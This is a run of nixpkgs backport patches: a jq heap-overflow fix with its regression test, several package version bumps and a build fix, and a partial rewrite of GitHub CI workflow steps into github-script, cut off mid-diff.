cherry-picked from c9c1e1abb28153e0009db2497e1a7365d9e6707e
---
 ...erformance-of-repeating-strings-3272.patch |  2 +-
 ...lue-should-cache-the-double-value-of.patch |  2 +-
 ...-NaN-with-payload-while-parsing-JSON.patch |  2 +-
 ...er-overflow-in-jvp_array_write-and-j.patch |  2 +-
 ...overflow-when-formatting-an-empty-st.patch | 45 +++++++++++++++++++
 pkgs/by-name/jq/jq/package.nix                |  5 +++
 6 files changed, 54 insertions(+), 4 deletions(-)
 create mode 100644 pkgs/by-name/jq/jq/0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch

diff --git a/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch b/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
index 5112b8c11bd4..90a9f5601b83 100644
--- a/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
+++ b/pkgs/by-name/jq/jq/0001-Improve-performance-of-repeating-strings-3272.patch
@@ -1,7 +1,7 @@
 From c15fc903e00fdd3b460e64d5a6a540f944e1eca6 Mon Sep 17 00:00:00 2001
 From: itchyny <itchyny@cybozu.co.jp>
 Date: Tue, 4 Mar 2025 22:13:55 +0900
-Subject: [PATCH 1/4] Improve performance of repeating strings (#3272)
+Subject: [PATCH 1/5] Improve performance of repeating strings (#3272)
 
 This commit improves the performance of repeating strings, by copying
 the result string instead of the string being repeated. Also it adds
diff --git a/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch b/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
index a493751bedbe..17da9af6ca41 100644
--- a/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
+++ b/pkgs/by-name/jq/jq/0002-fix-jv_number_value-should-cache-the-double-value-of.patch
@@ -1,7 +1,7 @@
 From df0ddb83feb656230157f5bc9b7f34caef1f82be Mon Sep 17 00:00:00 2001
 From: itchyny <itchyny@cybozu.co.jp>
 Date: Sun, 16 Feb 2025 22:08:36 +0900
-Subject: [PATCH 2/4] fix: `jv_number_value` should cache the double value of
+Subject: [PATCH 2/5] fix: `jv_number_value` should cache the double value of
  literal numbers (#3245)
 
 The code of `jv_number_value` is intended to cache the double value of
diff --git a/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch b/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
index 985301d8ab26..cf3135d2a3a3 100644
--- a/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
+++ b/pkgs/by-name/jq/jq/0003-Reject-NaN-with-payload-while-parsing-JSON.patch
@@ -1,7 +1,7 @@
 From dfd25612454deacb6df47329787844795bf59821 Mon Sep 17 00:00:00 2001
 From: itchyny <itchyny@cybozu.co.jp>
 Date: Wed, 5 Mar 2025 07:43:54 +0900
-Subject: [PATCH 3/4] Reject NaN with payload while parsing JSON
+Subject: [PATCH 3/5] Reject NaN with payload while parsing JSON
 
 This commit drops support for parsing NaN with payload in JSON like
 `NaN123` and fixes CVE-2024-53427. Other JSON extensions like `NaN` and
diff --git a/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch b/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
index 313eea14e05d..8a54eb3ad056 100644
--- a/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
+++ b/pkgs/by-name/jq/jq/0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
@@ -1,7 +1,7 @@
 From dc65d5af447f266d8a4037551e028785aab31e04 Mon Sep 17 00:00:00 2001
 From: itchyny <itchyny@cybozu.co.jp>
 Date: Wed, 21 May 2025 07:45:00 +0900
-Subject: [PATCH 4/4] Fix signed integer overflow in jvp_array_write and
+Subject: [PATCH 4/5] Fix signed integer overflow in jvp_array_write and
  jvp_object_rehash
 
 This commit fixes signed integer overflow and SEGV issues on growing
diff --git a/pkgs/by-name/jq/jq/0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch b/pkgs/by-name/jq/jq/0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch
new file mode 100644
index 000000000000..219207f0fe23
--- /dev/null
+++ b/pkgs/by-name/jq/jq/0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch
@@ -0,0 +1,45 @@
+From d73a79035e1d24011a3363d52bf36b4eaea67aa6 Mon Sep 17 00:00:00 2001
+From: itchyny <itchyny@cybozu.co.jp>
+Date: Sat, 31 May 2025 11:46:40 +0900
+Subject: [PATCH 5/5] Fix heap buffer overflow when formatting an empty string
+
+The `jv_string_empty` did not properly null-terminate the string data,
+which could lead to a heap buffer overflow. The test case of
+GHSA-p7rr-28xf-3m5w (`0[""*0]`) was fixed by the commit dc849e9bb74a,
+but another case (`0[[]|implode]`) was still vulnerable. This commit
+ensures string data is properly null-terminated, and fixes CVE-2025-48060.
+---
+ src/jv.c      | 1 +
+ tests/jq.test | 4 ++++
+ 2 files changed, 5 insertions(+)
+
+diff --git a/src/jv.c b/src/jv.c
+index 6e8cdd3..3303286 100644
+--- a/src/jv.c
++++ b/src/jv.c
+@@ -1121,6 +1121,7 @@ static jv jvp_string_empty_new(uint32_t length) {
+   jvp_string* s = jvp_string_alloc(length);
+   s->length_hashed = 0;
+   memset(s->data, 0, length);
++  s->data[length] = 0;
+   jv r = {JVP_FLAGS_STRING, 0, 0, 0, {&s->refcnt}};
+   return r;
+ }
+diff --git a/tests/jq.test b/tests/jq.test
+index 10b20e3..680706b 100644
+--- a/tests/jq.test
++++ b/tests/jq.test
+@@ -2042,6 +2042,10 @@ map(try implode catch .)
+ [123,["a"],[nan]]
+ ["implode input must be an array","string (\"a\") can't be imploded, unicode codepoint needs to be numeric","number (null) can't be imploded, unicode codepoint needs to be numeric"]
+ 
++try 0[implode] catch .
++[]
++"Cannot index number with string \"\""
++
+ # walk
+ walk(.)
+ {"x":0}
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/jq/jq/package.nix b/pkgs/by-name/jq/jq/package.nix
index a0e2b25552e8..8e6928be7fbb 100644
--- a/pkgs/by-name/jq/jq/package.nix
+++ b/pkgs/by-name/jq/jq/package.nix
@@ -44,6 +44,11 @@ stdenv.mkDerivation rec {
     # CVE-2024-23337
     # https://github.com/jqlang/jq/commit/de21386681c0df0104a99d9d09db23a9b2a78b1e
     ./0004-Fix-signed-integer-overflow-in-jvp_array_write-and-j.patch
+
+    # CVE-2025-48060, part two
+    # Improve-performance-of-repeating-strings is only a partial fix
+    # https://github.com/jqlang/jq/commit/c6e041699d8cd31b97375a2596217aff2cfca85b
+    ./0005-Fix-heap-buffer-overflow-when-formatting-an-empty-st.patch
   ];
 
   # https://github.com/jqlang/jq/issues/2871

From ec98d48fc3834c161f0537cb3e3eb843258f2d3a Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Fri, 16 May 2025 01:36:43 +0200
Subject: [PATCH 0405/4511] perlPackages.CryptOpenSSLRSA: 0.33 -> 0.35

Fixes CVE-2024-2467 (this is a voluntary breaking change).

Changes:
https://github.com/cpan-authors/Crypt-OpenSSL-RSA/blob/5b76ae34d2c26557e61440856616d2ea7a35dd94/Changes
(cherry picked from commit 095f6893c9861589fcfa261be52a44a0adce2142)
---
 pkgs/top-level/perl-packages.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index d01571ed3d46..8860dfa747f8 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -7623,10 +7623,10 @@ with self;
 
   CryptOpenSSLRSA = buildPerlPackage {
     pname = "Crypt-OpenSSL-RSA";
-    version = "0.33";
+    version = "0.35";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/T/TO/TODDR/Crypt-OpenSSL-RSA-0.33.tar.gz";
-      hash = "sha256-vb5jD21vVAMldGrZmXcnKshmT/gb0Z8K2rptb0Xv2GQ=";
+      url = "mirror://cpan/authors/id/T/TO/TODDR/Crypt-OpenSSL-RSA-0.35.tar.gz";
+      hash = "sha256-XuvVWsBxY0yGSo549c+vuq9Dz4TAQyOgm3Hddr8CXMI=";
     };
     propagatedBuildInputs = [ CryptOpenSSLRandom ];
     env.NIX_CFLAGS_COMPILE = "-I${pkgs.openssl.dev}/include";

From ffa5499d5aa7614245e62a52156177bf8d9a72b7 Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:35:02 +0000
Subject: [PATCH 0406/4511] paper-clip: 5.5.1 -> 5.5.2

Diff: https://github.com/Diego-Ivan/Paper-Clip/compare/v5.5.1...v5.5.2

Changelog: https://github.com/Diego-Ivan/Paper-Clip/releases/tag/v5.5.2
(cherry picked from commit 183c49770e5987334accf99f5bfe07c96644e54d)
---
 ...processLauncher-instead-of-GFile-API.patch | 66 -------------------
 pkgs/by-name/pa/paper-clip/package.nix        | 12 +---
 ...-Solve-Vala-errors-at-C-compile-time.patch | 24 -------
 3 files changed, 3 insertions(+), 99 deletions(-)
 delete mode 100644 pkgs/by-name/pa/paper-clip/document-Copy-using-SubprocessLauncher-instead-of-GFile-API.patch
 delete mode 100644 pkgs/by-name/pa/paper-clip/vala-Solve-Vala-errors-at-C-compile-time.patch

diff --git a/pkgs/by-name/pa/paper-clip/document-Copy-using-SubprocessLauncher-instead-of-GFile-API.patch b/pkgs/by-name/pa/paper-clip/document-Copy-using-SubprocessLauncher-instead-of-GFile-API.patch
deleted file mode 100644
index 65e99e74ad33..000000000000
--- a/pkgs/by-name/pa/paper-clip/document-Copy-using-SubprocessLauncher-instead-of-GFile-API.patch
+++ /dev/null
@@ -1,66 +0,0 @@
-From 93e1c00bca9078fa4b21e42a4560011cce768142 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Diego=20Iv=C3=A1n=20M=2EE?= <diegoivan.mae@gmail.com>
-Date: Mon, 12 Aug 2024 09:16:51 -0600
-Subject: [PATCH] document: Copy using SubprocessLauncher instead of GFile API
-
----
- io.github.diegoivan.pdf_metadata_editor.json |  7 +++----
- src/Document.vala                            | 13 +++++++------
- 2 files changed, 10 insertions(+), 10 deletions(-)
-
-diff --git a/io.github.diegoivan.pdf_metadata_editor.json b/io.github.diegoivan.pdf_metadata_editor.json
-index ede68d1..3feb79e 100644
---- a/io.github.diegoivan.pdf_metadata_editor.json
-+++ b/io.github.diegoivan.pdf_metadata_editor.json
-@@ -52,10 +52,9 @@
-             ],
-             "sources" : [
-                 {
--                    "url" : "https://gitlab.freedesktop.org/poppler/poppler.git",
--                    "type" : "git",
--                    "tag" : "poppler-23.01.0",
--                    "commit" : "4259ff0c2067d302f97d87221a442eec8e88d45c"
-+                    "url" : "https://poppler.freedesktop.org/poppler-24.08.0.tar.xz",
-+                    "type" : "archive",
-+                    "sha256" : "97453fbddf0c9a9eafa0ea45ac710d3d49bcf23a62e864585385d3c0b4403174"
-                 }
-             ]
-         },
-diff --git a/src/Document.vala b/src/Document.vala
-index e52e1a7..a59fe03 100644
---- a/src/Document.vala
-+++ b/src/Document.vala
-@@ -445,11 +445,11 @@ public class PaperClip.Document : Object {
-     }
- 
-     private async File create_copy_from_original () throws Error {
-+        var launcher = new SubprocessLauncher (NONE);
-         unowned string tmp_dir = Environment.get_tmp_dir ();
-         string destination_path = Path.build_path (Path.DIR_SEPARATOR_S,
-                                                    tmp_dir,
-                                                    "copies");
--
-         int res = DirUtils.create_with_parents (destination_path, 0777);
-         if (res < 0) {
-             throw new IOError.FAILED (@"Could not create $destination_path");
-@@ -458,14 +458,15 @@ public class PaperClip.Document : Object {
-         string destination_file = Path.build_filename (destination_path,
-                                                        "%s".printf (original_file.get_basename ()));
- 
--        var copy_file = File.new_for_path (destination_file);
--        FileCopyFlags flags = NOFOLLOW_SYMLINKS | OVERWRITE | ALL_METADATA;
--
--        bool success = yield original_file.copy_async (copy_file, flags);
-+        Subprocess copy_process = launcher.spawn("cp", original_file.get_path(), destination_path);
-+        bool success = yield copy_process.wait_async ();
-         if (!success) {
--            critical ("Copy Unsuccessful");
-+            critical ("Processed failed");
-         }
- 
-+
-+        var copy_file = File.new_for_path (destination_file);
-+
-         return copy_file;
-     }
- }
diff --git a/pkgs/by-name/pa/paper-clip/package.nix b/pkgs/by-name/pa/paper-clip/package.nix
index 683580dd0817..7521f833a06b 100644
--- a/pkgs/by-name/pa/paper-clip/package.nix
+++ b/pkgs/by-name/pa/paper-clip/package.nix
@@ -18,21 +18,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "paper-clip";
-  version = "5.5.1";
+  version = "5.5.2";
 
   src = fetchFromGitHub {
     owner = "Diego-Ivan";
     repo = "Paper-Clip";
-    rev = "v${finalAttrs.version}";
-    hash = "sha256-Jdsx5ZhujP0SgEtr4NMbXsTkMYrkQj7Vs+SSYziWpiw=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-zJqN66WYYHLZCb6jnREnvhVonbQSucD7VG+JvpbmNMU=";
   };
 
-  # Remove these patches after the version is bumped past 5.5.1
-  patches = [
-    ./document-Copy-using-SubprocessLauncher-instead-of-GFile-API.patch
-    ./vala-Solve-Vala-errors-at-C-compile-time.patch
-  ];
-
   nativeBuildInputs = [
     desktop-file-utils
     meson
diff --git a/pkgs/by-name/pa/paper-clip/vala-Solve-Vala-errors-at-C-compile-time.patch b/pkgs/by-name/pa/paper-clip/vala-Solve-Vala-errors-at-C-compile-time.patch
deleted file mode 100644
index a41655d6d262..000000000000
--- a/pkgs/by-name/pa/paper-clip/vala-Solve-Vala-errors-at-C-compile-time.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 82193146a80bfe613355706421454f879bdd496f Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Diego=20Iv=C3=A1n=20M=2EE?= <diegoivan.mae@gmail.com>
-Date: Mon, 5 Aug 2024 18:08:36 -0600
-Subject: [PATCH] vala: Solve Vala errors at C compile time
-
----
- src/Document.vala | 4 +++-
- 1 file changed, 3 insertions(+), 1 deletion(-)
-
-diff --git a/src/Document.vala b/src/Document.vala
-index 872309f..e52e1a7 100644
---- a/src/Document.vala
-+++ b/src/Document.vala
-@@ -451,7 +451,9 @@ public class PaperClip.Document : Object {
-                                                    "copies");
- 
-         int res = DirUtils.create_with_parents (destination_path, 0777);
--        return_if_fail (res > -1);
-+        if (res < 0) {
-+            throw new IOError.FAILED (@"Could not create $destination_path");
-+        }
- 
-         string destination_file = Path.build_filename (destination_path,
-                                                        "%s".printf (original_file.get_basename ()));

From 5e8d6e4bed05848f90a7204ec7389c9458ae386c Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:35:49 +0000
Subject: [PATCH 0407/4511] raider: 3.0.2 -> 3.1.0

Diff: https://github.com/ADBeveridge/raider/compare/v3.0.2...v3.1.0

Changelog: https://github.com/ADBeveridge/raider/releases/tag/v3.1.0
(cherry picked from commit d83fe72f3c844cb1a34358c34577cfeddc1f6f58)
---
 pkgs/by-name/ra/raider/package.nix | 19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/ra/raider/package.nix b/pkgs/by-name/ra/raider/package.nix
index 31f536bc8dd3..f1f662b3906a 100644
--- a/pkgs/by-name/ra/raider/package.nix
+++ b/pkgs/by-name/ra/raider/package.nix
@@ -15,15 +15,15 @@
   wrapGAppsHook4,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "raider";
-  version = "3.0.2";
+  version = "3.1.0";
 
   src = fetchFromGitHub {
     owner = "ADBeveridge";
     repo = "raider";
-    rev = "v${version}";
-    hash = "sha256-fOv4Y5kBbZazFNkPrLS3D7LMLLvT/kIYmsCezsl/fxQ=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-X8VIpxOhfvOIf5CYQOBVrC9T6Dhgz/oMIQCaoRch4Oo=";
   };
 
   nativeBuildInputs =
@@ -49,7 +49,7 @@ stdenv.mkDerivation rec {
     updateScript = nix-update-script { };
   };
 
-  meta = with lib; {
+  meta = {
     description = "Permanently delete your files (also named File Shredder)";
     longDescription = ''
       Raider is a shredding program built for the GNOME
@@ -63,12 +63,13 @@ stdenv.mkDerivation rec {
       money and patience required to extract it effectively.
     '';
     homepage = "https://apps.gnome.org/Raider";
-    license = licenses.gpl3Plus;
+    changelog = "https://github.com/ADBeveridge/raider/releases/tag/v${finalAttrs.version}";
+    license = lib.licenses.gpl3Plus;
     mainProgram = "raider";
-    maintainers = with maintainers; [
+    maintainers = with lib.maintainers; [
       benediktbroich
     ];
     teams = [ lib.teams.gnome-circle ];
-    platforms = platforms.unix;
+    platforms = lib.platforms.unix;
   };
-}
+})

From f2a36c4cd05bc94ef8aa59391933e06400aced4c Mon Sep 17 00:00:00 2001
From: Seth Flynn <getchoo@tuta.io>
Date: Wed, 28 May 2025 20:34:17 +0000
Subject: [PATCH 0408/4511] mangojuice: 0.8.4 -> 0.8.5

Diff: https://github.com/radiolamp/mangojuice/compare/0.8.4...0.8.5

Changelog: https://github.com/radiolamp/mangojuice/releases/tag/0.8.5
(cherry picked from commit 1a8b7d8e1a8dec6947495b593fb4bf0a8756bfdf)
---
 pkgs/by-name/ma/mangojuice/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mangojuice/package.nix b/pkgs/by-name/ma/mangojuice/package.nix
index 24e11a5329f2..f11a268a7a99 100644
--- a/pkgs/by-name/ma/mangojuice/package.nix
+++ b/pkgs/by-name/ma/mangojuice/package.nix
@@ -25,13 +25,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "mangojuice";
-  version = "0.8.4";
+  version = "0.8.5";
 
   src = fetchFromGitHub {
     owner = "radiolamp";
     repo = "mangojuice";
     tag = finalAttrs.version;
-    hash = "sha256-LsXTzPSDELw1SKTDtgOMQe1FOPwdVft7VFacE4WezNQ=";
+    hash = "sha256-pqtzNJBMoKbF48JoIrbcJX78S+e3tb+otiG85YbBKYk=";
   };
 
   patches = [

From 6754de1be48f75c9e30865d733c8796e015ca89e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tim=20H=C3=A4ring?= <tim.haering@gmail.com>
Date: Wed, 28 May 2025 18:28:08 +0200
Subject: [PATCH 0409/4511] gencfsm: fix build error

(cherry picked from commit 41916d90e65cee03176ddc5c7bc0f0ddffbd2159)
---
 pkgs/by-name/ge/gencfsm/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/ge/gencfsm/package.nix b/pkgs/by-name/ge/gencfsm/package.nix
index b1c2ae57305c..45342fcbe823 100644
--- a/pkgs/by-name/ge/gencfsm/package.nix
+++ b/pkgs/by-name/ge/gencfsm/package.nix
@@ -29,6 +29,11 @@ stdenv.mkDerivation rec {
     sha256 = "RXVwg/xhfAQv3pWp3UylOhMKDh9ZACTuKM4lPrn1dk8=";
   };
 
+  env.NIX_CFLAGS_COMPILE = toString [
+    # tools.c:38:5: error: implicit declaration of function 'gnome_encfs_manager_on_logout' []
+    "-Wno-implicit-function-declaration"
+  ];
+
   nativeBuildInputs = [
     autoconf
     automake

From bd5469ad9501605af77449e232cc2759c6efd27e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 1 Jun 2025 07:12:41 +0000
Subject: [PATCH 0410/4511] media-downloader: 5.3.3 -> 5.4.0

(cherry picked from commit 7925cce020e985d613171bc4e984ca317bd36142)
---
 pkgs/by-name/me/media-downloader/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/me/media-downloader/package.nix b/pkgs/by-name/me/media-downloader/package.nix
index b855d9c21bba..66c8549e7715 100644
--- a/pkgs/by-name/me/media-downloader/package.nix
+++ b/pkgs/by-name/me/media-downloader/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "media-downloader";
-  version = "5.3.3";
+  version = "5.4.0";
 
   src = fetchFromGitHub {
     owner = "mhogomchungu";
     repo = "media-downloader";
     rev = finalAttrs.version;
-    hash = "sha256-vVTTICGtuSUWz10iEEsMUSLwlZmOjW+ffpZ3T7Hy+WU=";
+    hash = "sha256-OiFTY/3g4B23XFYT8kcJwFX/nLGVVB53E+vykBpN/Sw=";
   };
 
   nativeBuildInputs = [

From ea4fd8859a2df84312a347634d5f05862d780fc7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 11:08:07 +0200
Subject: [PATCH 0411/4511] workflows/backport: improve testability in forks

Granting the "issues: write" permission allows creating the "port to
stable" label, if it doesn't exist, yet. This avoids failing the
workflow when testing in a fork without that label.

(cherry picked from commit e8906ae26c18e0ecb7c7969834adebf282e058a4)
---
 .github/workflows/backport.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 840382d99726..69d6d701aa73 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -11,6 +11,7 @@ on:
 
 permissions:
   contents: read
+  issues: write
   pull-requests: write
 
 jobs:

From 06b905d4daadeffc00f880d6740f6feea1997b81 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 14:25:49 +0200
Subject: [PATCH 0412/4511] workflows/eval: add header for packages in summary

After the stats were added with a header, the list of packages now
appeared directly below it, without any separation.

(cherry picked from commit 4b31cabd6cebf7d3d1ea032fa32f347371e9d59e)
---
 ci/eval/compare/default.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/ci/eval/compare/default.nix b/ci/eval/compare/default.nix
index f6cf1ebe7856..8b609cc8f2c4 100644
--- a/ci/eval/compare/default.nix
+++ b/ci/eval/compare/default.nix
@@ -173,7 +173,12 @@ runCommand "compare"
       } >> $out/step-summary.md
     fi
 
-    jq -r -f ${./generate-step-summary.jq} < ${changed-paths} >> $out/step-summary.md
+    {
+      echo
+      echo "# Packages"
+      echo
+      jq -r -f ${./generate-step-summary.jq} < ${changed-paths}
+    } >> $out/step-summary.md
 
     cp "$maintainersPath" "$out/maintainers.json"
   ''

From 31e2eaf9615b7d2eacdceb6e77bf67ed40ff1da8 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 27 May 2025 16:43:34 +0200
Subject: [PATCH 0413/4511] workflows: rewrite bash with github script for api
 requests

github-script provides a better way to access the workflow's context
than bash variables + interpolation. Especially when considering future
changes, where you'll always be tempted to just use interpolation
directly in bash code.

(cherry picked from commit e344fdcc267633d9df1dd5c96ac713e62482447c)
---
 .github/workflows/backport.yml |  20 ++--
 .github/workflows/edited.yml   |  27 +++---
 .github/workflows/eval.yml     | 171 ++++++++++++++++++---------------
 3 files changed, 118 insertions(+), 100 deletions(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 69d6d701aa73..ea184fb914a4 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -50,13 +50,13 @@ jobs:
 
       - name: "Add 'has: port to stable' label"
         if: steps.backport.outputs.created_pull_numbers != ''
-        env:
-          # Not the app on purpose to avoid triggering another workflow run after adding this label
-          GH_TOKEN: ${{ github.token }}
-          REPOSITORY: ${{ github.repository }}
-          NUMBER: ${{ github.event.number }}
-        run: |
-          gh api \
-            --method POST \
-            /repos/"$REPOSITORY"/issues/"$NUMBER"/labels \
-            -f "labels[]=8.has: port to stable"
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          # Not using the app on purpose to avoid triggering another workflow run after adding this label.
+          script: |
+            await github.rest.issues.addLabels({
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number,
+              labels: [ '8.has: port to stable' ]
+            })
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 37b7dc7e53d1..b1fc5b11db84 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -34,16 +34,17 @@ jobs:
           private-key: ${{ secrets.NIXPKGS_CI_APP_PRIVATE_KEY }}
           permission-pull-requests: write
 
-      - env:
-          GH_TOKEN: ${{ steps.app-token.outputs.token }}
-          REPOSITORY: ${{ github.repository }}
-          NUMBER: ${{ github.event.number }}
-        run: |
-          gh api \
-            --method PATCH \
-            /repos/"$REPOSITORY"/pulls/"$NUMBER" \
-            -f "state=closed"
-          gh api \
-            --method PATCH \
-            /repos/"$REPOSITORY"/pulls/"$NUMBER" \
-            -f "state=open"
+      - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          github-token: ${{ steps.app-token.outputs.token }}
+          script: |
+            function changeState(state) {
+              return github.rest.pulls.update({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                pull_number: context.payload.pull_request.number,
+                state
+              })
+            }
+            await changeState('closed')
+            await changeState('open')
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index ccf54af04e32..b411ca213923 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -87,44 +87,43 @@ jobs:
       - name: Get target run id
         if: needs.prepare.outputs.targetSha
         id: targetRunId
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         env:
-          GH_TOKEN: ${{ github.token }}
           MATRIX_SYSTEM: ${{ matrix.system }}
-          REPOSITORY: ${{ github.repository }}
           TARGET_SHA: ${{ needs.prepare.outputs.targetSha }}
-        run: |
-          # Get the latest eval.yml workflow run for the PR's target commit
-          if ! run=$(gh api --method GET /repos/"$REPOSITORY"/actions/workflows/eval.yml/runs \
-            -f head_sha="$TARGET_SHA" -f event=push \
-            --jq '.workflow_runs | sort_by(.run_started_at) | .[-1]') \
-            || [[ -z "$run" ]]; then
-            echo "Could not find an eval.yml workflow run for $TARGET_SHA, cannot make comparison"
-            exit 1
-          fi
-          echo "Comparing against $(jq .html_url <<< "$run")"
-          runId=$(jq .id <<< "$run")
+        with:
+          script: |
+            const system = process.env.MATRIX_SYSTEM
+            const targetSha = process.env.TARGET_SHA
 
-          if ! job=$(gh api --method GET /repos/"$REPOSITORY"/actions/runs/"$runId"/jobs \
-            --jq ".jobs[] | select (.name == \"Outpaths ($MATRIX_SYSTEM)\")") \
-            || [[ -z "$job" ]]; then
-            echo "Could not find the Outpaths ($MATRIX_SYSTEM) job for workflow run $runId, cannot make comparison"
-            exit 1
-          fi
-          jobId=$(jq .id <<< "$job")
-          conclusion=$(jq -r .conclusion <<< "$job")
+            let run_id
+            try {
+              run_id = (await github.rest.actions.listWorkflowRuns({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                workflow_id: 'eval.yml',
+                event: 'push',
+                head_sha: targetSha
+              })).data.workflow_runs[0].id
+            } catch {
+              throw new Error(`Could not find an eval.yml workflow run for ${targetSha}.`)
+            }
 
-          while [[ "$conclusion" == null || "$conclusion" == "" ]]; do
-            echo "Job not done, waiting 10 seconds before checking again"
-            sleep 10
-            conclusion=$(gh api /repos/"$REPOSITORY"/actions/jobs/"$jobId" --jq '.conclusion')
-          done
+            core.setOutput('targetRunId', run_id)
 
-          if [[ "$conclusion" != "success" ]]; then
-            echo "Job was not successful (conclusion: $conclusion), cannot make comparison"
-            exit 1
-          fi
-
-          echo "targetRunId=$runId" >> "$GITHUB_OUTPUT"
+            // Waiting 120 * 5 sec = 10 min. max.
+            // Eval takes max 5-6 minutes, normally.
+            for (let i = 0; i < 120; i++) {
+              const result = await github.rest.actions.listWorkflowRunArtifacts({
+                owner: context.repo.owner,
+                repo: context.repo.repo,
+                run_id,
+                name: `merged-${system}`
+              })
+              if (result.data.total_count > 0) return
+              await new Promise(resolve => setTimeout(resolve, 5000))
+            }
+            throw new Error(`No merged-${system} artifact found.`)
 
       - uses: actions/download-artifact@v4
         if: steps.targetRunId.outputs.targetRunId
@@ -212,57 +211,75 @@ jobs:
 
       - name: Labelling pull request
         if: ${{ github.event_name == 'pull_request_target' }}
-        env:
-          GH_TOKEN: ${{ github.token }}
-          REPOSITORY: ${{ github.repository }}
-          NUMBER: ${{ github.event.number }}
-        run: |
-          # Get all currently set labels that we manage
-          gh api \
-            /repos/"$REPOSITORY"/issues/"$NUMBER"/labels \
-            --jq '.[].name | select(startswith("10.rebuild") or . == "11.by: package-maintainer")' \
-            | sort > before
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { readFile } = require('node:fs/promises')
 
-          # And the labels that should be there
-          jq -r '.labels[]' comparison/changed-paths.json \
-            | sort > after
+            const pr = {
+              owner: context.repo.owner,
+              repo: context.repo.repo,
+              issue_number: context.payload.pull_request.number
+            }
 
-          # Remove the ones not needed anymore
-          while read -r toRemove; do
-            echo "Removing label $toRemove"
-            gh api \
-              --method DELETE \
-              /repos/"$REPOSITORY"/issues/"$NUMBER"/labels/"$toRemove"
-          done < <(comm -23 before after)
+            // Get all currently set labels that we manage
+            const before =
+              (await github.paginate(github.rest.issues.listLabelsOnIssue, pr))
+              .map(({ name }) => name)
+              .filter(name => name.startsWith('10.rebuild') || name == '11.by: package-maintainer')
 
-          # And add the ones that aren't set already
-          while read -r toAdd; do
-            echo "Adding label $toAdd"
-            gh api \
-              --method POST \
